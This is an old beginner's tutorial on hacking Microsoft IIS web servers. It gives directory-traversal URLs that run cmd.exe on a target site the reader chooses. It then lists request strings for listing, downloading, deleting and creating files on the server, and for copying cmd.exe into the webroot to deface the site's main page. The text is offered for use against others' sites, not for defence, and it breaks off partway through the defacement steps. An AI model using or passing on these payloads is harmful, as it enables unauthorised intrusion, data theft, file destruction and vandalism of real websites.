



By Jeremy Callinan

Hacking IIS (Internet Information Services)

A Beginners Guide

1. Finding Vulnerable Servers

There are many vulnerabilities that are available for IIS, but we are going to discuss one of the latest. This vulnerability allow the execution of arbitrary code. To see if a site is vulnerable try these links into any web browser, (replacing www.TARGET.com with the site of your choice) :

```
www.TARGET.com/scripts/..%255c..%255cwinnt/system32/cmd.exe?/c+dir+c:\
www.TARGET.com/msadc/..%255c..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+dir+c:\
www.TARGET.com/cgi-bin/..%255c..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+dir+c:\
www.TARGET.com/samples/..%255c..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+dir+c:\
www.TARGET.com/iisadmpwd/..%255c..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+dir+c:\
www.TARGET.com/_vti_cnf/..%255c..%255c..%255c..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+dir+c:\
www.TARGET.com/_vti_bin/..%255c..%255c..%255c..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+dir+c:\
www.TARGET.com/adsamples/..%255c..%255c..%255c..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+dir+c:\
```

If the server is vulnerable you should get a listing of the C drive. If none of these links work, the server probably isn't vulnerable.

A vulnerable server will respond with a listing similar to this:

```
Directory of c:\
11/15/02 08:50a (DIR) WINNT
11/15/02 09:15a (DIR) Program Files
11/15/02 09:20a (DIR) TEMP
11/15/02 09:21a (DIR) CPQ SYSTEM
11/15/02 09:50a (DIR) Inetpub
11/27/02 08:11a (DIR) CPQSUPSW
11/29/02 09:12a (DIR) CA_LIC
12/01/02 09:42a 140 server ip address.txt
04/06/02 04:44p 55,769 systemlog 06-04.txt
05/04/02 12:32p (DIR) test

10 File(s) 1,159,703,933 bytes
1,322,123,264 bytes free
```

To navigate just change the links to the directory you want to go to. For example:

```
/system32/cmd.exe?/c+dir+c:\winnt  
to navigate to the WINNT directory
```

```
/system32/cmd.exe?/c+dir+c:\cpqsys~1  
To navigate to a folder such as CPQ SYSTEM ( a directory longer than 8 characters
```

There must be six characters before the ~1 and no spaces (this is due to DOS only supporting this length for a file name). Use DOS on your own pc, this will greatly help you when it comes to using simple commands such as copy, or listing content of a directory. To open a dos prompt, go to Start, run, then type in **command** on Windows 95/98/ME, or **cmd** in Windows NT/2000/XP.

Now in order to find the main page of the website. We must find the webroot. The webroot is the path in which all the files for the site are held, including the main page. In my experience the webroot is usually found on the C: drive but it can be any directory the administrator of the website chooses.

Try:

```
/system32/cmd.exe?/c+dir+c:\
```

This should list the content of the C: drive. Also remember, a lot of sites that are worried about security have *mock* webroots, in which you think you have found the sites main page but its not really, just a copy. You will have to visit the site and find the size of the main page and the other pages linked to it (right click and click properties) and then match it up with the files in the webroot to find the real main page. View the picture below for an example.



2. Changing files on the web server

Now is a good time to give you some commands that will come in use:

To list all chosen files on the server use:

```
www.TARGET.com/whatever/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af/winnt/system32/cmd.exe?/c%20dir%20/S%20c:\*.whatever
```

To download a file use:

```
www.TARGET.com/whatever/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af/winnt/system32/cmd.exe?/c%20type%c%20c:\whatever.file
```

When asked: What would you like to do with this file? choose: *run this program from its current location*. Choosing save to disk will get you a properties report of that file or something similar.

To delete (del) a file use:

```
www.TARGET.com/whatever/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af/winnt/system32/cmd.exe?/c%20del%20c:\whatever.file
```

To make a text file use:

```
www.TARGET.com/whatever/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af/winnt/system32/cmd.exe?/c%20echo%20You txt goes here!!!!>%20test.txt
```

3. Editing the Web sites' documents

Now on to the important part, editing the websites main page. HTML is not needed but if you want an in any way decent looking deface you need to know it. Below is an example of a simple HTML page and how it looks in a web browser:

```
HTML
<html>
<body>
The content of the body element is displayed in your browser.
<h1>This is a Heading</h1>
<p> This is a paragraph</p>
<br>
<br>
<br>
<br>
a bunch of line breaks<br>
A Horizontal Line
<hr>
The End
</body>
</html>
```

Output in a web page

The content of the body element is displayed in your browser.

This is a Heading

This is a paragraph

a bunch of line breaks

A Horizontal Line

The End

You have to copy the file CMD.exe to the directory with the page in it, lets call this page, wannable_admin.html and lets say the directory wannable_admin.html is in is C:\home\site.

A. So use the COPY command:

```
www.TARGET.com/whatever/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af/
winnt/system32/cmd.exe?/c%20copy%20c:\winnt\system32\cmd.exe%20c:\home\site\CMD.exe
```

